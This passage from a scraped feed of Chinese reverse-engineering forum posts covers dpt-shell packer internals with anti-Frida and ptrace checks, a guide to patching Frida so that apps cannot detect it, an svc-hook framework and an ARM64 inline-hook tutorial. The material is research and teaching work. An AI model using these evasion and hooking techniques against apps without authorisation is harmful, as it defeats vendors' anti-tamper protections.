\\n添加写权限,以便后续修改dex
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | DPT_ENCRYPT void * fake_mmap( void * __addr, size_t __size, int __prot, int __flags, int __fd, off_t __offset){ BYTEHOOK_STACK_SCOPE(); int prot = __prot; int hasRead = (__prot & PROT_READ) == PROT_READ; int hasWrite = (__prot & PROT_WRITE) == PROT_WRITE; char fd_path[256] = {0}; dpt_readlink(__fd,fd_path, ARRAY_LENGTH(fd_path)); if ( strstr (fd_path, \\"webview.vdex\\" ) != nullptr) { DLOGW( \\"fake_mmap link path: %s, no need to change prot\\" ,fd_path); goto tail; } if (hasRead && !hasWrite) { prot = prot | PROT_WRITE; DLOGD( \\"fake_mmap call fd = %d,size = %zu, prot = %d,flag = %d\\" ,__fd,__size, prot,__flags); } if (g_sdkLevel == 30){ if ( strstr (fd_path, \\"base.vdex\\" ) != nullptr){ DLOGE( \\"fake_mmap want to mmap base.vdex\\" ); __flags = 0; } } tail: void *addr = BYTEHOOK_CALL_PREV(fake_mmap,__addr, __size, prot, __flags, __fd, __offset); return addr; } |
hook DefineClass
\\n这里通过DobbyHook库来对java层的代码进行hook
\\nclassloader在加载类的时候会调用defineClass,根据sdk版本选择合适的hook函数,如
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 | DPT_ENCRYPT void *DefineClassV21( void * thiz, const char * descriptor, void * class_loader, const void * dex_file, const void * dex_class_def) { if (LIKELY(g_originDefineClassV21 != nullptr)) { patchClass(descriptor,dex_file,dex_class_def); return g_originDefineClassV21( thiz,descriptor,class_loader, dex_file, dex_class_def); } return nullptr; } |
patchClass**(指令回填的核心函数)**
\\npatchMethod
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | DPT_ENCRYPT void patchMethod(uint8_t *begin,__unused const char *location,uint32_t dexSize, int dexIndex,uint32_t methodIdx,uint32_t codeOff){ if (codeOff == 0){ // 代码偏移为0,不需要patch NLOG( \\"[*] patchMethod dex: %d methodIndex: %d no need patch!\\" ,dexIndex,methodIdx); return ; } auto *dexCodeItem = (dex::CodeItem *) (begin + codeOff); // 原始的dex codeItem的偏移 uint16_t firstDvmCode = *((uint16_t*)dexCodeItem->insns_); if (firstDvmCode != 0x0012 && firstDvmCode != 0x0016 && firstDvmCode != 0x000e){ NLOG( \\"[*] this method has code no need to patch\\" ); return ; } auto dexIt = dexMap.find(dexIndex); if (LIKELY(dexIt != dexMap.end())) { auto dexMemIt = dexMemMap.find(dexIndex); if (UNLIKELY(dexMemIt == dexMemMap.end())){ change_dex_protective(begin,dexSize,dexIndex); } auto codeItemMap = dexIt->second; auto codeItemIt = codeItemMap->find(methodIdx); if (LIKELY(codeItemIt != codeItemMap->end())) { data::CodeItem* codeItem = codeItemIt->second; auto *realCodeItemPtr = (uint8_t *)(dexCodeItem->insns_); NLOG( \\"[*] patchMethod codeItem patch, methodIndex = %d,insnsSize = %d >>> %p(0x%x)\\" , codeItem->getMethodIdx(), codeItem->getInsnsSize(), realCodeItemPtr, (unsigned int )(realCodeItemPtr - begin)); memcpy (realCodeItemPtr,codeItem->getInsns(),codeItem->getInsnsSize()); } else { NLOG( \\"[*] patchMethod cannot find methodId: %d in codeitem map, dex index: %d(%s)\\" ,methodIdx,dexIndex,location); } } else { DLOGW( \\"[*] patchMethod cannot find dex: \'%s\' in dex map\\" ,location); } } |
createAntiRiskProcess
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | DPT_ENCRYPT void createAntiRiskProcess() { pid_t child = fork(); if (child < 0) { DLOGW( \\"%s fork fail!\\" , __FUNCTION__); detectFrida(); } else if (child == 0) { DLOGD( \\"%s in child process\\" , __FUNCTION__); detectFrida(); doPtrace(); } else { DLOGD( \\"%s in main process, child pid: %d\\" , __FUNCTION__, child); protectChildProcess(child); detectFrida(); } } |
detectFrida
\\nfrida-agent
字符串pool-frida、gmain、gdbus、gum-js-loop
,如果线程匹配超过2个就crashpool-frida
:管理 Frida 内部的线程池,用于处理多线程任务和通信。gmain
:GLib 主循环,处理事件循环和 Frida 的核心事件。gdbus
:DBus 线程,处理与系统服务或其他进程的 DBus 消息通信。gum-js-loop
:JavaScript 主循环,执行 Frida 注入的 JavaScript 代码和 hook 函数。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | [[ noreturn ]] void *detectFridaOnThread(__unused void *args) { while ( true ) { int frida_so_count = find_in_maps(1, \\"frida-agent\\" ); if (frida_so_count > 0) { DLOGD( \\"detectFridaOnThread found frida so\\" ); crash(); } int frida_thread_count = find_in_threads_list(4 , \\"pool-frida\\" , \\"gmain\\" , \\"gdbus\\" , \\"gum-js-loop\\" ); if (frida_thread_count >= 2) { DLOGD( \\"detectFridaOnThread found frida threads\\" ); crash(); } sleep(10); } } |
doPtrace
\\n1 2 3 4 | void doPtrace() { __unused int ret = sys_ptrace(PTRACE_TRACEME,0,0,0); DLOGD( \\"doPtrace result: %d\\" ,ret); } |
在系统需要创建组件实例时按需调用,通过代理的方式控制组件的实例化,优先使用目标 AppComponentFactory
创建组件,创建失败再用默认的
回看22年的帖子,当时作者使用LoadMethod作为hook和指令回填的目标,现在已经换成DefineClass,原因在HowItWorks.md也有解释
\\n\\n\\nClassDef这个结构还有一个特点,它是dex文件的结构,也就是说dex文件格式不变,它一般就不会变。还有,DefineClass函数的参数会改变吗?目前来看从Android M到现在没有变过。所以使用它不用太担心随着Android版本的升级而导致字段偏移的变化,也就是兼容性较强。这就是为什么用DefineClass作为Hook点。
\\ndpt之前就是使用的LoadMethod函数作为Hook点,在LoadMethod函数里面做CodeItem填充操作。但是后来发现,LoadMethod函数参数不太固定,随着Android版本的升级可能要不断适配,而且每个函数都要填充,会影响一定的性能。
\\n
OoooooOooo
文件中,并用nop填充分享一个自己做的函数抽取壳 - 吾爱破解 - 52pojie.cn
\\nhttps://github.com/luoyesiqiu/dpt-shell
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"dpt-shell自22年以来进行了不少的调整,本文试对v1.11.3版的dpt-shell进行源码分析,补充作者在HowItWorks中未撰写出来的部分并作积累。 简而言之,dpt-shell可以分为两个模块,一个是Processeor模块,用于对原app进行指令抽空并构建新app;另一个是shell模块,用于在app运行时回填指令,顺利执行app的代码。以下是对这两个模块的详细分析\\n\\n入口点在src\\\\main\\\\java\\\\com\\\\luoye\\\\dpt\\\\Dpt.java,解析用户的运行参数后进入apk.protect()进行抽取\\n\\n1\\n2\\n3\\n4\\n5\\n6\\n7\\n8\\n9…","guid":"https://bbs.kanxue.com/thread-284744.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-12-10T14:36:48.091Z","media":null,"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]frida16.2.1 编译patch全过程","url":"https://bbs.kanxue.com/thread-284739.htm","content":"\\n\\n\\n\\n建立一个项目目录并拉下frida源码,并进入项目目录
\\n
1 2 | git clone --recurse-submodules -b 16.2.1 https: //github .com /frida/frida cd frida |
此时执行ls ,看到的文件应当是如此
\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ ls\\nBSDmakefile COPYING frida-gum frida.sln Makefile.freebsd.mk Makefile.toolchain.mk\\nbuild frida-clr frida-node frida-swift Makefile.linux.mk README.md\\nconfig.mk frida-core frida-python frida-tools Makefile.macos.mk releng\\nCONTRIBUTING.md frida-go frida-qml Makefile Makefile.sdk.mk\\n\\n
\\n\\n一键 安装nodejs22
\\n
1 2 3 4 5 6 7 8 9 10 11 | # 构造下载 URL NODE_TAR_URL= \\"https://nodejs.org/dist/v22.12.0/node-v22.12.0-linux-x64.tar.xz\\" wget $NODE_TAR_URL # 解压 Node.js 安装包到用户目录 tar -xf node-v22.12.0-linux-x64. tar .xz -C $HOME /bin rm -r node-v22.12.0-linux-x64. tar .xz # 设置 NODE_HOME 和 PATH export NODE_HOME=$HOME /bin/node-v22 .12.0-linux-x64 export PATH=${NODE_HOME} /bin :$PATH # 打印 Node.js 版本以确认安装成功 node - v |
(base) r@ubuntu20:~/Documents/FRIDA/frida$ # 构造下载 URL\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ NODE_TAR_URL=\\"https://nodejs.org/dist/v22.12.0/node-v22.12.0-linux-x64.tar.xz\\"\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ wget $NODE_TAR_URL \\n--2024-12-09 23:31:18-- https://nodejs.org/dist/v22.12.0/node-v22.12.0-linux-x64.tar.xz\\n正在解析主机 nodejs.org (nodejs.org)... 198.18.1.205\\n正在连接 nodejs.org (nodejs.org)|198.18.1.205|:443... 已连接。\\n已发出 HTTP 请求,正在等待回应... 200 OK\\n长度: 29734248 (28M) [application/x-xz]\\n正在保存至: “node-v22.12.0-linux-x64.tar.xz”\\n\\nnode-v22.12.0-linux-x64.tar.xz 100%[============================================================================>] 28.36M 8.89MB/s 用时 3.2s \\n\\n2024-12-09 23:31:21 (8.89 MB/s) - 已保存 “node-v22.12.0-linux-x64.tar.xz” [29734248/29734248])\\n\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ # 解压 Node.js 安装包到用户目录\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ tar -xf node-v22.12.0-linux-x64.tar.xz -C $HOME/bin\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ # 设置 NODE_HOME 和 PATH\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ export NODE_HOME=$HOME/bin/node-v22.12.0-linux-x64\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ export PATH=${NODE_HOME}/bin:$PATH\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ # 打印 Node.js 版本以确认安装成功\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ node -v\\nv22.12.0\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ ls\\nBSDmakefile COPYING frida-go frida-python frida-swift Makefile.freebsd.mk Makefile.sdk.mk README.md\\nconfig.mk frida-clr frida-gum frida-qml frida-tools Makefile.linux.mk Makefile.toolchain.mk releng\\nCONTRIBUTING.md frida-core frida-node frida.sln Makefile Makefile.macos.mk node-v22.12.0-linux-x64.tar.xz\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ rm -r node-v22.12.0-linux-x64.tar.xz\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ \\n\\n
\\n\\n再make一下
\\n
1 | make |
\\n\\n安装ndk
\\n
执行以下命令,查看所需要的ndk版本,得到以下输出
\\n1 | cat releng /setup-env .sh | grep \\"ndk_required=\\" |
(base) r@ubuntu20:~/Documents/FRIDA/frida$ cat releng/setup-env.sh |grep \\"ndk_required=\\"\\n ndk_required=25\\n\\n
一键安装ndk25
\\n1 2 3 4 5 6 | wget https: //dl .google.com /android/repository/android-ndk-r25c-linux .zip unzip android-ndk-r25c-linux.zip $HOME /bin/ rm -r android-ndk-r25c-linux.zip export ANDROID_NDK_ROOT=$HOME /bin/android-ndk-r25c export PATH=$ANDROID_NDK_ROOT:$PATH ndk-build - v |
\\n\\n安装依赖
\\n
1 2 | sudo apt update sudo apt-get install build-essential git lib32stdc++-9-dev libc6-dev-i386 |
1 | pip3 install lief |
\\n\\n编译
\\n
查看编译选项
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | (frida-compile) r@ubuntu20:~ /Documents/FRIDA/frida $ make make [1]: 进入目录“ /home/r/Documents/FRIDA/frida ” Usage: make TARGET [VARIABLE=value] Where TARGET specifies one or more of: /* gum */ gum-linux-x86 Build for Linux /x86 gum-linux-x86_64 Build for Linux /x86-64 gum-linux-x86-thin Build for Linux /x86 without cross-arch support gum-linux-x86_64-thin Build for Linux /x86-64 without cross-arch support gum-linux-x86_64-gir Build for Linux /x86-64 with shared GLib and GIR gum-linux-arm Build for Linux /arm gum-linux-armbe8 Build for Linux /armbe8 gum-linux-armhf Build for Linux /armhf ......等等 |
编译安卓arm64的frida
\\n1 | make core-android-arm64 |
编译完成
\\nInstalling lib/base/libfrida-base-1.0.a to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/lib\\nInstalling lib/base/frida-base.h to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/include/frida-1.0\\nInstalling lib/base/frida-base-1.0.vapi to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/share/vala/vapi\\nInstalling lib/payload/libfrida-payload-1.0.a to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/lib\\nInstalling lib/payload/frida-payload.h to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/include/frida-1.0\\nInstalling lib/payload/frida-payload-1.0.vapi to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/share/vala/vapi\\nInstalling lib/gadget/frida-gadget.so to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/lib/frida/64\\nInstalling src/api/frida-core.h to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/include/frida-1.0\\nInstalling src/api/frida-core-1.0.vapi to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/share/vala/vapi\\nInstalling src/api/frida-core-1.0.deps to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/share/vala/vapi\\nInstalling src/api/libfrida-core-1.0.a to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/lib\\nInstalling server/frida-server to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/bin\\nInstalling portal/frida-portal to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/bin\\nInstalling inject/frida-inject to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/bin\\nInstalling /home/r/Documents/FRIDA/frida/frida-core/lib/selinux/frida-selinux.h to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/include/frida-1.0\\nInstalling /home/r/Documents/FRIDA/frida/build/tmp-android-arm64/frida-core/meson-private/frida-base-1.0.pc to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/lib/pkgconfig\\nInstalling /home/r/Documents/FRIDA/frida/build/tmp-android-arm64/frida-core/meson-private/frida-payload-1.0.pc to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/lib/pkgconfig\\nInstalling /home/r/Documents/FRIDA/frida/build/tmp-android-arm64/frida-core/meson-private/frida-core-1.0.pc to /home/r/Documents/FRIDA/frida/build/frida-android-arm64/lib/pkgconfig\\nmake[1]: 离开目录“/home/r/Documents/FRIDA/frida”\\n\\n
查看编译后的文件
\\n1 | cd build /frida-android-arm64/bin && ls |
(frida-compile) r@ubuntu20:~/Documents/FRIDA/frida$ cd build/frida-android-arm64/bin && ls\\nfrida-inject frida-portal frida-server gum-graft\\n(frida-compile) r@ubuntu20:~/Documents/FRIDA/frida/build/frida-android-arm64/bin$ \\n\\n
\\n\\n先把所有的 \\"frida_agent_main\\" 换成\\"main\\"
\\n\\n
\\n\\n然后直接git am打上patch, 如果不会打的话其实一个个改也不费事,因为核心其实在python脚本,和前面的字符串处理
\\n
\\n\\n我这里把frida改成了rusda,你也可以改成其他的
\\n\\n
github: GitHub - taisuii/rusda: 对frida 16.2.1的patch
\\n\\n\\npython脚本新建在frida-core/src目录下
\\n
如果你提示No module named \'lief\' 说明Python模块没有装好 pip3 install lief
\\n\\n\\n然后编译,这里可以过滤日志编译,如果编译成功还是有很多特征大部分原因是python脚本没有打上patch
\\n
1 | make core-android-arm64 | grep Patch |
(base) r@ubuntu20:~/Documents/FRIDA/frida$ make core-android-arm64 | grep Patch\\n[*] Patch frida-agent: /home/r/Documents/FRIDA/frida/build/tmp-android-arm64/frida-core/src/frida-agent@emb/frida-agent-64.so\\n[*] Patch `frida` to `rusda`\\n[*] Patching section name=.rodata offset=0x1c4a26 orig:FridaScriptEngine new:enignEtpircSadirF\\n[*] Patching section name=.rodata offset=0x1d24db orig:FridaScriptEngine new:enignEtpircSadirF\\n[*] Patching section name=.rodata offset=0x1d9472 orig:GLib-GIO new:OIG-biLG\\n[*] Patching section name=.rodata offset=0x1959df orig:GDBusProxy new:yxorPsuBDG\\n[*] Patching section name=.rodata offset=0x1c4b31 orig:GDBusProxy new:yxorPsuBDG\\n[*] Patching section name=.rodata offset=0x1b1746 orig:GumScript new:tpircSmuG\\n[*] Patching section name=.rodata offset=0x210bed orig:GumScript new:tpircSmuG\\n[*] Patching section name=.rodata offset=0x238393 orig:GumScript new:tpircSmuG\\n[*] Patching section name=.rodata offset=0x246184 orig:GumScript new:tpircSmuG\\n[*] Patch `gum-js-loop` to `russellloop`\\n[*] Patch `gmain` to `rmain`\\n[*] Patch `gdbus` to `rubus`\\n[*] Patch Finish\\n[*] Patch frida-agent: /home/r/Documents/FRIDA/frida/build/tmp-android-arm64/frida-core/src/frida-agent@emb/frida-agent-32.so\\n[*] Patch `frida` to `rusda`\\n[*] Patching section name=.rodata offset=0xcc3a3 orig:FridaScriptEngine new:enignEtpircSadirF\\n[*] Patching section name=.rodata offset=0xd984c orig:FridaScriptEngine new:enignEtpircSadirF\\n[*] Patching section name=.rodata offset=0xe066f orig:GLib-GIO new:OIG-biLG\\n[*] Patching section name=.rodata offset=0x9e15e orig:GDBusProxy new:yxorPsuBDG\\n[*] Patching section name=.rodata offset=0xcc4ae orig:GDBusProxy new:yxorPsuBDG\\n[*] Patching section name=.rodata offset=0xb96c5 orig:GumScript new:tpircSmuG\\n[*] Patching section name=.rodata offset=0x115e26 orig:GumScript new:tpircSmuG\\n[*] Patching section name=.rodata offset=0x13d0a3 orig:GumScript new:tpircSmuG\\n[*] Patching section name=.rodata offset=0x14aa2d orig:GumScript new:tpircSmuG\\n[*] Patch `gum-js-loop` to `russellloop`\\n[*] Patch `gmain` to `rmain`\\n[*] Patch `gdbus` to `rubus`\\n[*] Patch Finish\\n[*] Patch frida-agent: /home/r/Documents/FRIDA/frida/build/tmp-android-arm64/frida-core/src/frida-agent@emb/frida-agent-arm64.so\\n[*] Patch `frida` to `rusda`\\n[*] Patch frida-agent: /home/r/Documents/FRIDA/frida/build/tmp-android-arm64/frida-core/src/frida-agent@emb/frida-agent-arm.so\\n[*] Patch `frida` to `rusda`\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ ls \\n\\n
\\n\\n这里换个端口,就是全绿
\\n
1 2 3 4 5 | cd build /frida-android-arm64/bin adb push frida-server /data/local/tmp adb shell chmod +x frida-server . /frida-server -l 127.0.0.1:12345 |
1 | frida -H 127.0.0.1:12345 -f com.yimian.envcheck |
\\n\\nGitHub - Ylarod/Florida: 基础反检测 frida-server / Basic anti-detection frida-server
\\n\\n\\n
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"github: https://github.com/taisuii/rusda 建立一个项目目录并拉下frida源码,并进入项目目录\\n\\n1\\n2\\n\\t\\ngit clone --recurse-submodules -b 16.2.1 https://github.com/frida/frida\\ncd frida\\n\\n此时执行ls ,看到的文件应当是如此\\n\\n(base) r@ubuntu20:~/Documents/FRIDA/frida$ ls\\nBSDmakefile COPYING frida-gum frida.sln…","guid":"https://bbs.kanxue.com/thread-284739.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-12-09T17:59:57.742Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202412/957122_4ANF7RP243J5DVZ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202412/957122_D448S2HNAW33K6J.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202412/957122_YTE3CFBM3383AQJ.webp","type":"photo","width":0,"height":0,"blurhash":""}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[推荐][原创]svc_hook框架","url":"https://bbs.kanxue.com/thread-284713.htm","content":"\\n\\n受看雪里所有svc hook思路启发
根据返回指针地址判断是否为劫持svc
仅支持aarch64
仿inlinehook框架结构
不依靠root
代码ai写的 自己优化
可以直接编译使用
seccomp bpf有意思的玩法:
后门
提前设置一个svc被劫持
,保存自己syscall的地址为instruction_pointer
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, instruction_pointer)),
当执行该syscall时seccomp进入自己的函数
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_TRAP)
或者触发
SECCOMP_RET_KILL
该kill只传递信号 不能被捕捉到svc 所以一切针对svc的hook无效
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n为什么市面上那么多成品的InlineHook,比如Dobby,SandHook,ShadowHook,还要再写一个?
\\n因为这些hook大多数是项目级别的,不带教程讲解,上手难度略高,以及现在对InlineHook检测比较严重,有必要了解原理,从头写一个,知道哪里能检测,哪里需要注意,需要改的点在哪
\\n我写这篇文章主要是记录开发过程,方便后边回顾,以及给一些感兴趣的朋友作为一个入手的点,快速的上手InlineHook的原理。
\\n先放项目地址:https://github.com/jiqiu2022/ReZeroHook
\\n目前有两个分支,主分支只支持单个hook,newhook支持多个hook,都会开展讲解。
\\n提交记录完全,可以看到排除各种坑的提交
\\n\\n\\n本项目还不完善,比如完全没写测试用例,只是简单的写了两个函数测试,但是不代表我以后不写
\\n为什么这么着急写文章,因为也搞了一星期多了,想详细记录一下
\\n
\\n感谢https://github.com/zhuotong/Android_InlineHook
提供研究的动力,尽管项目很老了,但是非常清晰,我给修复支持了最新的NDK(之前只能在NDK20)并移植到了Cmake编译(只有Arm64)
修复后地址:https://github.com/jiqiu2022/InlineHook-fix
欢迎大家直接学习
感谢https://github.com/bytedance/android-inline-hook
提供了指令修复的思路
\\n
\\n什么是InlineHook,简单来说就是给函数(指令)的几条汇编指令备份,然后跳到我们自己的函数逻辑上。
\\n注意:不要联想整个项目,现在只是流程讲解,项目实现会在后面接着讲,结合着流程。
\\n举个例子:
\\n比如open函数,我们查看地址
\\n前四条汇编指令是这样的,当我们hook后:
\\n就变成了
\\n注意:在修改之前一定要备份这些指令,因为这些指令在后面要被执行
\\n
\\n第一条是把地址的内容存到x17,第二条是跳转到x17
\\n第三四条不是汇编指令,是目标要跳转到的地址,我们这个跳板用了16字节,当然你也可以继续跳转字节更少的跳板,本文用的是比较简单的跳板,让我们看看frida用的跳板是什么样的
\\n看来我们跟frida的跳板差不多~
\\n跳转到我们自定义的函数之后呢?
\\n要保存哪些寄存器呢?最简单的肯定包含X0-X30(包含了lr lr就是x30) 可以选择性保存sp(当然如果栈平衡就无所谓了) NZCV状态寄存器 以及Q系列寄存器(本项目还没有保存)
\\n让我们看看frida是怎么做的
\\nebug238:00000077AAE20004 STP Q30, Q31, [SP,#-32]!\\ndebug238:00000077AAE20008 STP Q28, Q29, [SP,#-32]!\\ndebug238:00000077AAE2000C STP Q26, Q27, [SP,#-32]!\\ndebug238:00000077AAE20010 STP Q24, Q25, [SP,#0x70+var_90]!\\ndebug238:00000077AAE20014 STP Q22, Q23, [SP,#0x90+var_B0]!\\ndebug238:00000077AAE20018 STP Q20, Q21, [SP,#0xB0+var_D0]!\\ndebug238:00000077AAE2001C STP Q18, Q19, [SP,#0xD0+var_F0]!\\ndebug238:00000077AAE20020 STP Q16, Q17, [SP,#0xF0+var_110]!\\ndebug238:00000077AAE20024 STP Q14, Q15, [SP,#0x110+var_130]!\\ndebug238:00000077AAE20028 STP Q12, Q13, [SP,#0x130+var_150]!\\ndebug238:00000077AAE2002C STP Q10, Q11, [SP,#0x150+var_170]!\\ndebug238:00000077AAE20030 STP Q8, Q9, [SP,#0x170+var_190]!\\ndebug238:00000077AAE20034 STP Q6, Q7, [SP,#0x190+var_1B0]!\\ndebug238:00000077AAE20038 STP Q4, Q5, [SP,#0x1B0+var_1D0]!\\ndebug238:00000077AAE2003C STP Q2, Q3, [SP,#0x1D0+var_1F0]!\\ndebug238:00000077AAE20040 STP Q0, Q1, [SP,#0x1F0+var_210]!\\ndebug238:00000077AAE20044 STP X29, X30, [SP,#0x210+var_220]!\\ndebug238:00000077AAE20048 STP X27, X28, [SP,#0x220+var_230]!\\ndebug238:00000077AAE2004C STP X25, X26, [SP,#0x230+var_240]!\\ndebug238:00000077AAE20050 STP X23, X24, [SP,#0x240+var_250]!\\ndebug238:00000077AAE20054 STP X21, X22, [SP,#0x250+var_260]!\\ndebug238:00000077AAE20058 STP X19, X20, [SP,#0x260+var_270]!\\ndebug238:00000077AAE2005C STP X17, X18, [SP,#0x270+var_280]!\\ndebug238:00000077AAE20060 STP X15, X16, [SP,#0x280+var_290]!\\ndebug238:00000077AAE20064 STP X13, X14, [SP,#0x290+var_2A0]!\\ndebug238:00000077AAE20068 STP X11, X12, [SP,#0x2A0+var_2B0]!\\ndebug238:00000077AAE2006C STP X9, X10, [SP,#0x2B0+var_2C0]!\\ndebug238:00000077AAE20070 STP X7, X8, [SP,#0x2C0+var_2D0]!\\ndebug238:00000077AAE20074 STP X5, X6, [SP,#0x2D0+var_2E0]!\\ndebug238:00000077AAE20078 STP X3, X4, [SP,#0x2E0+var_2F0]!\\ndebug238:00000077AAE2007C STP X1, X2, [SP,#0x2F0+var_300]!\\ndebug238:00000077AAE20080 MRS X1, NZCV\\ndebug238:00000077AAE20084 STP X1, X0, [SP,#0x300+var_310]!\\ndebug238:00000077AAE20088 ADD X0, SP, #0x310+arg_0\\ndebug238:00000077AAE2008C STP XZR, X0, [SP,#0x310+var_320]!\\ndebug238:00000077AAE20090 STR X30, [SP,#0x320+var_8]\\ndebug238:00000077AAE20094 STR X29, [SP,#0x320+var_10]\\ndebug238:00000077AAE20098 ADD X29, SP, #0x320+var_10\\ndebug238:00000077AAE2009C MOV X1, SP\\ndebug238:00000077AAE200A0 ADD X2, SP, #0x320+var_218\\ndebug238:00000077AAE200A4 ADD X3, SP, #0x320+var_10\\n\\n
为什么要保存呢? 因为在函数调用前如果调用了pre_hookcallback 或者在函数调用后调用post_hookcallback,里面的逻辑会污染原来的寄存器,导致函数崩溃。
\\n我们简单举个例子,现在有一个函数
\\nuint64_t test(int a, int b, int c,int d) {\\n return a+b+c+d;\\n}\\n\\n
这个函数主要用到了x0-x3
\\n如果我们在pre_hookcallback调用了任意函数,会刷新x0寄存器,如果返回的是一个地址,那么x0的值在刷新后,会传入我们原来的函数中,造成寄存器污染。
\\nfrida是怎么做的?frida是直接将所有寄存器压入了栈中,然后在按顺序弹出,保证栈平衡
\\n弹出过程(压入过程看上面)
\\ndebug238:00000077AAE200B4 ADD SP, SP, #0x10\\ndebug238:00000077AAE200B8 LDP X1, X0, [SP+0x310+var_310],#0x10\\ndebug238:00000077AAE200BC MSR NZCV, X1\\ndebug238:00000077AAE200C0 LDP X1, X2, [SP+0x300+var_300],#0x10\\ndebug238:00000077AAE200C4 LDP X3, X4, [SP+0x2F0+var_2F0],#0x10\\ndebug238:00000077AAE200C8 LDP X5, X6, [SP+0x2E0+var_2E0],#0x10\\ndebug238:00000077AAE200CC LDP X7, X8, [SP+0x2D0+var_2D0],#0x10\\ndebug238:00000077AAE200D0 LDP X9, X10, [SP+0x2C0+var_2C0],#0x10\\ndebug238:00000077AAE200D4 LDP X11, X12, [SP+0x2B0+var_2B0],#0x10\\ndebug238:00000077AAE200D8 LDP X13, X14, [SP+0x2A0+var_2A0],#0x10\\ndebug238:00000077AAE200DC LDP X15, X16, [SP+0x290+var_290],#0x10\\ndebug238:00000077AAE200E0 LDP X17, X18, [SP+0x280+var_280],#0x10\\ndebug238:00000077AAE200E4 LDP X19, X20, [SP+0x270+var_270],#0x10\\ndebug238:00000077AAE200E8 LDP X21, X22, [SP+0x260+var_260],#0x10\\ndebug238:00000077AAE200EC LDP X23, X24, [SP+0x250+var_250],#0x10\\ndebug238:00000077AAE200F0 LDP X25, X26, [SP+0x240+var_240],#0x10\\ndebug238:00000077AAE200F4 LDP X27, X28, [SP+0x230+var_230],#0x10\\ndebug238:00000077AAE200F8 LDP X29, X30, [SP+0x220+var_220],#0x10\\ndebug238:00000077AAE200FC LDP Q0, Q1, [SP+0x210+var_210],#0x20\\ndebug238:00000077AAE20100 LDP Q2, Q3, [SP+0x1F0+var_1F0],#0x20\\ndebug238:00000077AAE20104 LDP Q4, Q5, [SP+0x1D0+var_1D0],#0x20\\ndebug238:00000077AAE20108 LDP Q6, Q7, [SP+0x1B0+var_1B0],#0x20\\ndebug238:00000077AAE2010C LDP Q8, Q9, [SP+0x190+var_190],#0x20\\ndebug238:00000077AAE20110 LDP Q10, Q11, [SP+0x170+var_170],#0x20\\ndebug238:00000077AAE20114 LDP Q12, Q13, [SP+0x150+var_150],#0x20\\ndebug238:00000077AAE20118 LDP Q14, Q15, [SP+0x130+var_130],#0x20\\ndebug238:00000077AAE2011C LDP Q16, Q17, [SP+0x110+var_110],#0x20\\ndebug238:00000077AAE20120 LDP Q18, Q19, [SP+0xF0+var_F0],#0x20\\ndebug238:00000077AAE20124 LDP Q20, Q21, [SP+0xD0+var_D0],#0x20\\ndebug238:00000077AAE20128 LDP Q22, Q23, [SP+0xB0+var_B0],#0x20\\ndebug238:00000077AAE2012C LDP Q24, Q25, [SP+0x90+var_90],#0x20\\ndebug238:00000077AAE20130 LDP Q26, Q27, [SP+0x70+var_70],#0x20\\ndebug238:00000077AAE20134 LDP Q28, Q29, [SP+0x50+var_50],#0x20\\ndebug238:00000077AAE20138 LDP Q30, Q31, [SP+0x30+var_30],#0x20\\ndebug238:00000077AAE2013C LDP X16, X17, [SP+0x10+var_10],#0x10\\ndebug238:00000077AAE20140 RET X16\\n\\n
